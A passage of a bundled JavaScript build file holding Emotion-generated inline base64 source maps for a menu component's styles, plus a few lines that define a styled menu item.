nO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCB7IFRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHR5cGUgeyBDb250ZXh0UHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgQ09OVEVOVF9XUkFQUEVSX1BBRERJTkcgPSBzcGFjZSggMSApO1xuY29uc3QgSVRFTV9QQURESU5HX0JMT0NLID0gc3BhY2UoIDEgKTtcbmNvbnN0IElURU1fUEFERElOR19JTkxJTkUgPSBzcGFjZSggMyApO1xuXG4vLyBUT0RPOlxuLy8gLSBib3JkZXIgY29sb3IgYW5kIGRpdmlkZXIgY29sb3IgYXJlIGRpZmZlcmVudCBmcm9tIENPTE9SUy50aGVtZSB2YXJpYWJsZXNcbi8vIC0gbGlnaHRlciB0ZXh0IGNvbG9yIGlzIG5vdCBkZWZpbmVkIGluIENPTE9SUy50aGVtZSwgc2hvdWxkIGl0IGJlP1xuLy8gLSBsaWdodGVyIGJhY2tncm91bmQgY29sb3IgaXMgbm90IGRlZmluZWQgaW4gQ09MT1JTLnRoZW1lLCBzaG91bGQgaXQgYmU/XG5jb25zdCBERUZBVUxUX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXTtcbmNvbnN0IERJVklERVJfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgMjAwIF07XG5jb25zdCBMSUdIVEVSX1RFWFRfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF07XG5jb25zdCBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SID0gQ09MT1JTLnRoZW1lLmdyYXlbIDEwMCBdO1xuY29uc3QgVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kO1xuY29uc3QgREVGQVVMVF9CT1hfU0hBRE9XID0gYDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9ICR7IERFRkFVTFRfQk9SREVSX0NPTE9SIH0sICR7IENPTkZJRy5lbGV2YXRpb25NZWRpdW0gfWA7XG5jb25zdCBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPVyA9IGAwIDAgMCAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSAkeyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SIH1gO1xuXG5jb25zdCBHUklEX1RFTVBMQVRFX0NPTFMgPSAnbWlubWF4KCAwLCBtYXgtY29udGVudCApIDFmcic7XG5cbmV4cG9ydCBjb25zdCBNZW51ID0gc3R5bGVkKCBBcmlha2l0Lk1lbnUgKTwgUGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPiA+YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFNhbWUgYXMgcG9wb3ZlciBjb21wb25lbnQgKi9cblx0LyogVE9ETzogaXMgdGhlcmUgYSB3YXkgdG8gcmVhZCB0aGUgc2FzcyB2YXJpYWJsZT8gKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IEdSSURfVEVNUExBVEVfQ09MUyB9O1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0bWluLXdpZHRoOiAxNjBweDtcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0bWF4LWhlaWdodDogdmFyKCAtLXBvcG92ZXItYXZhaWxhYmxlLWhlaWdodCApO1xuXG5cdHBhZGRpbmc6ICR7IENPTlRFTlRfV1JBUFBFUl9QQURESU5HIH07XG5cblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblx0b3ZlcmZsb3c6IGF1dG87XG5cblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c01lZGl1bSB9O1xuXHQkeyAoIHByb3BzICkgPT4gY3NzYFxuXHRcdGJveC1zaGFkb3c6ICR7IHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPV1xuXHRcdFx0OiBERUZBVUxUX0JPWF9TSEFET1cgfTtcblx0YCB9XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuXG5cdC8qIE9wZW4vY2xvc2UgYW5pbWF0aW9uICovXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRFVSQVRJT04gfTtcblx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9FQVNJTkcgfTtcblx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXG5cdFx0Jjpub3QoIFtkYXRhLXN1Ym1lbnVdICkge1xuXHRcdFx0LyogUmVnYXJkbGVzcyBvZiB0aGUgc2lkZSwgZmFkZSBpbiBhbmQgb3V0LiAqL1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdCZbZGF0YS1lbnRlcl0ge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0fVxuXG5cdFx0XHQvKiBTbGlkZSBpbiB0aGUgZGlyZWN0aW9uIHRoZSBtZW51IGlzIG9wZW5pbmcuICovXG5cdFx0XHQmW2RhdGEtc2lkZT0nYm90dG9tJ10ge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoXG5cdFx0XHRcdFx0LSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J3RvcCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKFxuXHRcdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J2xlZnQnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKFxuXHRcdFx0XHRcdC0keyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdib3R0b20nXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSd0b3AnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggMCApO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLWVudGVyXVtkYXRhLXNpZGU9J2xlZnQnXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAwICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlSXRlbSA9IGNzc2Bcblx0YWxsOiB1bnNldDtcblxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQvKiBPY2N1cHkgdGhlIHdpZHRoIG9mIGFsbCBncmlkIGNvbHVtbnMgKGllLiBmdWxsIHdpZHRoKSAqL1xuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogJHsgR1JJRF9URU1QTEFURV9DT0xTIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0QHN1cHBvcnRzICggZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBzdWJncmlkICkge1xuXHRcdC8qXG5cdFx0ICogRGVmaW5lIGEgZ3JpZCBsYXlvdXQgd2hpY2ggaW5oZXJpdHMgdGhlIHNhbWUgY29sdW1ucyBjb25maWd1cmF0aW9uXG5cdFx0ICogZnJvbSB0aGUgcGFyZW50IGxheW91dCAoaWUuIHN1YmdyaWQpLiBUaGlzIGFsbG93cyB0aGUgbWVudVxuXHRcdCAqIHRvIHN5bmNocm9uaXplIHRoZSBpbmRlbnRhdGlvbiBvZiBhbGwgaXRzIGl0ZW1zLlxuXHRcdCAqL1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogc3ViZ3JpZDtcblx0fVxuXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdGxpbmUtaGVpZ2h0OiAyMHB4O1xuXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRwYWRkaW5nLWJsb2NrOiAkeyBJVEVNX1BBRERJTkdfQkxPQ0sgfTtcblx0cGFkZGluZy1pbmxpbmU6ICR7IElURU1fUEFERElOR19JTkxJTkUgfTtcblxuXHQvKlxuXHQgKiBNYWtlIHN1cmUgdGhhdCwgd2hlbiBhbiBpdGVtIGlzIHNjcm9sbGVkIGludG8gdmlldyAoZWcuIHdoaWxlIHVzaW5nIHRoZVxuXHQgKiBrZXlib2FyZCB0byBtb3ZlIGZvY3VzKSwgdGhlIHdob2xlIGl0ZW0gY29tZXMgaW50byB2aWV3XG5cdCAqL1xuXHRzY3JvbGwtbWFyZ2luOiAkeyBDT05URU5UX1dSQVBQRVJfUEFERElORyB9O1xuXG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRvdXRsaW5lOiBub25lO1xuXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG5cdH1cblxuXHQvKiBBY3RpdmUgaXRlbSAoaW5jbHVkaW5nIGhvdmVyKSAqL1xuXHQmW2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKTpub3QoXG5cdFx0XHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddXG5cdFx0KSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblx0fVxuXG5cdC8qIEtleWJvYXJkIGZvY3VzIChmb2N1cy12aXNpYmxlKSAqL1xuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIDEuNXB4ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0fVxuXG5cdC8qIEFjdGl2ZSAoaWUuIHByZXNzZWQsIG1vdXNlIGRvd24pICovXG5cdCY6YWN0aXZlLFxuXHQmW2RhdGEtYWN0aXZlXSB7XG5cdFx0LyogVE9ETzogc2hvdWxkIHRoZXJlIGJlIGEgdmlzdWFsIGFjdGl2ZSBzdGF0ZT8gKi9cblx0fVxuXG5cdC8qIFdoZW4gdGhlIGl0ZW0gaXMgdGhlIHRyaWdnZXIgb2YgYW4gb3BlbiBzdWJtZW51ICovXG5cdCR7IE1lbnUgfTpub3QoOmZvY3VzKSAmOm5vdCg6Zm9jdXMpW2FyaWEtZXhwYW5kZWQ9XCJ0cnVlXCJdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SIH07XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHRzdmcge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW0gKWBcblx0JHsgYmFzZUl0ZW0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDaGVja2JveEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW1DaGVja2JveCApYFxuXHQkeyBiYXNlSXRlbSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhZGlvSXRlbSA9IHN0eWxlZCggQXJpYWtpdC5NZW51SXRlbVJhZGlvIClgXG5cdCR7IGJhc2VJdGVtIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVByZWZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0LyogQWx3YXlzIG9jY3VweSB0aGUgZmlyc3QgY29sdW1uLCBldmVuIHdoZW4gYXV0by1jb2xsYXBzaW5nICovXG5cdGdyaWQtY29sdW1uOiAxO1xuXG5cdC8qXG5cdCAqIEV2ZW4gd2hlbiB0aGUgaXRlbSBpcyBub3QgY2hlY2tlZCwgb2NjdXB5IHRoZSBzYW1lIHNjcmVlbiBzcGFjZSB0byBhdm9pZFxuXHQgKiB0aGUgc3BhY2UgY29sbGFwc2lkZSB3aGVuIG5vIGl0ZW1zIGFyZSBjaGVja2VkLlxuXHQgKi9cblx0JHsgQ2hlY2tib3hJdGVtIH0gPiAmLFxuXHQkeyBSYWRpb0l0ZW0gfSA+ICYge1xuXHRcdC8qIFNhbWUgd2lkdGggYXMgdGhlIGNoZWNrIGljb25zICovXG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cblxuXHQkeyBDaGVja2JveEl0ZW0gfSA+ICYsXG5cdCR7IFJhZGlvSXRlbSB9ID4gJixcblx0Jjpub3QoIDplbXB0eSApIHtcblx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBhY3RpdmUsIGV4Y2VwdCB3aGVuIGl0J3MgYSBub24tZm9jdXNlZC9ob3ZlcmVkXG5cdCogc3VibWVudSB0cmlnZ2VyIChpbiB0aGF0IGNhc2UsIGNvbG9yIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkKVxuXHQqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApID4gJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddID4gJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ29udGVudFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQvKlxuXHQgKiBBbHdheXMgb2NjdXB5IHRoZSBzZWNvbmQgY29sdW1uLCBzaW5jZSB0aGUgZmlyc3QgY29sdW1uXG5cdCAqIGlzIHRha2VuIGJ5IHRoZSBwcmVmaXggd3JhcHBlciAod2hlbiBkaXNwbGF5ZWQpLlxuXHQgKi9cblx0Z3JpZC1jb2x1bW46IDI7XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRnYXA6ICR7IHNwYWNlKCAzICkgfTtcblxuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ2hpbGRyZW5XcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0ZmxleDogMTtcblxuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0Z2FwOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVN1ZmZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZmxleDogMCAxIGZpdC1jb250ZW50O1xuXHRtaW4td2lkdGg6IDA7XG5cdHdpZHRoOiBmaXQtY29udGVudDtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0Z2FwOiAkeyBzcGFjZSggMyApIH07XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCAqIFdoZW4gdGhlIHBhcmVudCBtZW51IGl0ZW0gaXMgYWN0aXZlLCBleGNlcHQgd2hlbiBpdCdzIGEgbm9uLWZvY3VzZWQvaG92ZXJlZFxuXHQgKiBzdWJtZW51IHRyaWdnZXIgKGluIHRoYXQgY2FzZSwgY29sb3Igc2hvdWxkIG5vdCBiZSBpbmhlcml0ZWQpXG5cdCAqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApICo6bm90KCR7IE1lbnUgfSkgJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICo6bm90KCR7IE1lbnUgfSkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cCA9IHN0eWxlZCggQXJpYWtpdC5NZW51R3JvdXAgKWBcblx0LyogSWdub3JlIHRoaXMgZWxlbWVudCB3aGVuIGNhbGN1bGF0aW5nIHRoZSBsYXlvdXQuIFVzZWZ1bCBmb3Igc3ViZ3JpZCAqL1xuXHRkaXNwbGF5OiBjb250ZW50cztcbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cExhYmVsID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVHcm91cExhYmVsIClgXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgc3BhY2UoIDMgKSB9O1xuXHRwYWRkaW5nLWJsb2NrLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRwYWRkaW5nLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNlcGFyYXRvciA9IHN0eWxlZCggQXJpYWtpdC5NZW51U2VwYXJhdG9yICk8XG5cdFBpY2s8IENvbnRleHRQcm9wcywgJ3ZhcmlhbnQnID5cbj5gXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0Ym9yZGVyOiBub25lO1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy52YXJpYW50ID09PSAndG9vbGJhcidcblx0XHRcdD8gVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUlxuXHRcdFx0OiBESVZJREVSX0NPTE9SIH07XG5cdC8qIEFsaWduIHdpdGggbWVudSBpdGVtcycgY29udGVudCAqL1xuXHRtYXJnaW4tYmxvY2s6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuXG5cdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VibWVudUNoZXZyb25JY29uID0gc3R5bGVkKCBJY29uIClgXG5cdHdpZHRoOiAkeyBzcGFjZSggMS41ICkgfTtcblx0JHsgcnRsKFxuXHRcdHtcblx0XHRcdHRyYW5zZm9ybTogYHNjYWxlWCgxKWAsXG5cdFx0fSxcblx0XHR7XG5cdFx0XHR0cmFuc2Zvcm06IGBzY2FsZVgoLTEpYCxcblx0XHR9XG5cdCkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtTGFiZWwgPSBzdHlsZWQoIFRydW5jYXRlIClgXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDIwcHg7XG5cdGNvbG9yOiBpbmhlcml0O1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1IZWxwVGV4dCA9IHN0eWxlZCggVHJ1bmNhdGUgKWBcblx0Zm9udC1zaXplOiAkeyBmb250KCAnaGVscFRleHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDE2cHg7XG5cdGNvbG9yOiAkeyBMSUdIVEVSX1RFWFRfQ09MT1IgfTtcblx0b3ZlcmZsb3ctd3JhcDogYW55d2hlcmU7XG5cblx0W2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKSAqOm5vdCggJHsgTWVudSB9ICkgJixcblx0W2FyaWEtZGlzYWJsZWQ9J3RydWUnXSAqOm5vdCggJHsgTWVudSB9ICkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG4iXX0= */");
50197 var Item3 = /* @__PURE__ */ createStyled(MenuItem, false ? {
50198 target: "e1wg7tti12"
50199 } : {
50200 target: "e1wg7tti12",
50201 label: "Item"
50202 })(baseItem, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtTThDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIGZvbnQsIHJ0bCwgQ09ORklHLCBEUk9QRE9XTl9NT1RJT05fQ1NTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCB7IFRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHR5cGUgeyBDb250ZXh0UHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgQ09OVEVOVF9XUkFQUEVSX1BBRERJTkcgPSBzcGFjZSggMSApO1xuY29uc3QgSVRFTV9QQURESU5HX0JMT0NLID0gc3BhY2UoIDEgKTtcbmNvbnN0IElURU1fUEFERElOR19JTkxJTkUgPSBzcGFjZSggMyApO1xuXG4vLyBUT0RPOlxuLy8gLSBib3JkZXIgY29sb3IgYW5kIGRpdmlkZXIgY29sb3IgYXJlIGRpZmZlcmVudCBmcm9tIENPTE9SUy50aGVtZSB2YXJpYWJsZXNcbi8vIC0gbGlnaHRlciB0ZXh0IGNvbG9yIGlzIG5vdCBkZWZpbmVkIGluIENPTE9SUy50aGVtZSwgc2hvdWxkIGl0IGJlP1xuLy8gLSBsaWdodGVyIGJhY2tncm91bmQgY29sb3IgaXMgbm90IGRlZmluZWQgaW4gQ09MT1JTLnRoZW1lLCBzaG91bGQgaXQgYmU/XG5jb25zdCBERUZBVUxUX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXTtcbmNvbnN0IERJVklERVJfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgMjAwIF07XG5jb25zdCBMSUdIVEVSX1RFWFRfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF07XG5jb25zdCBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SID0gQ09MT1JTLnRoZW1lLmdyYXlbIDEwMCBdO1xuY29uc3QgVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kO1xuY29uc3QgREVGQVVMVF9CT1hfU0hBRE9XID0gYDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9ICR7IERFRkFVTFRfQk9SREVSX0NPTE9SIH0sICR7IENPTkZJRy5lbGV2YXRpb25NZWRpdW0gfWA7XG5jb25zdCBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPVyA9IGAwIDAgMCAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSAkeyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SIH1gO1xuXG5jb25zdCBHUklEX1RFTVBMQVRFX0NPTFMgPSAnbWlubWF4KCAwLCBtYXgtY29udGVudCApIDFmcic7XG5cbmV4cG9ydCBjb25zdCBNZW51ID0gc3R5bGVkKCBBcmlha2l0Lk1lbnUgKTwgUGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPiA+YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFNhbWUgYXMgcG9wb3ZlciBjb21wb25lbnQgKi9cblx0LyogVE9ETzogaXMgdGhlcmUgYSB3YXkgdG8gcmVhZCB0aGUgc2FzcyB2YXJpYWJsZT8gKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IEdSSURfVEVNUExBVEVfQ09MUyB9O1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0bWluLXdpZHRoOiAxNjBweDtcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0bWF4LWhlaWdodDogdmFyKCAtLXBvcG92ZXItYXZhaWxhYmxlLWhlaWdodCApO1xuXG5cdHBhZGRpbmc6ICR7IENPTlRFTlRfV1JBUFBFUl9QQURESU5HIH07XG5cblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblx0b3ZlcmZsb3c6IGF1dG87XG5cblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c01lZGl1bSB9O1xuXHQkeyAoIHByb3BzICkgPT4gY3NzYFxuXHRcdGJveC1zaGFkb3c6ICR7IHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPV1xuXHRcdFx0OiBERUZBVUxUX0JP